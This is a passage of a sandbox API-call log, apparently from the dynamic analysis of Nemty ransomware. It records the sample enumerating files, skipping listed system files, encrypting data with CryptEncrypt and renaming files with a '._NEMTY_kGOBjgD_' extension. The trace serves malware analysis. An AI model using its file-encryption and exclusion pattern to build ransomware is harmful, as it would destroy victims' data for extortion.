dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0064.639] CloseHandle (hObject=0xffffffff) returned 0 [0064.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0064.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0064.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0064.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0064.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0064.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0064.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.640] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0064.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.640] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0064.640] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0064.641] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0064.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0064.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0064.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0064.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0064.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0064.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0064.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0064.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0064.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0064.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0064.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0064.642] Sleep (dwMilliseconds=0x5) [0064.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda2d86b0, dwHighDateTime=0x1d561e7)) [0064.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda2d86b0, dwHighDateTime=0x1d561e7)) [0064.644] GetLastError () returned 0x5 [0064.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0064.644] GetLastError () returned 0x5 [0064.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0064.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0064.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0064.644] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0064.644] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0064.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0064.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0064.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="PDNnFxN6uEU+H0iS42r2xiQ6vj55sHiQPDkv7OGi8TdZdNMSSqe2wpaqbgfdZXcI\r\nzSdyUcMy780ARgLUj9/30pqYrFejZge4Lfe2pkWjiCHbGgQfSCafgUKAD3TXOk+Z\r\nEFQLczP4DrPvpPdQkqYvdF+7ADayx/dEdZKG4PPHgFUN+hKBxnGmQlktqFq2lS9Y\r\n8r4z1s1JQxinkxHpXgXNntqMUjVKqIqLteCFQjsXZDY62a/FOuhyINEVwkT87ngR\r\n7Rblb1O4w5EEM+5tzI3UVg9W9ZyplQev1OSUn59J6rYW2XR+QNhWTIU0DTNy5+9d\r\nZwCL+HDo4xEBNTZqfCyeyQ==\r\n", pcchString=0x653e91c) returned 1 [0064.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0064.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0064.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0064.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0064.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0064.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0064.645] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.645] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0064.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0064.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.664] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0064.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0064.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0064.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 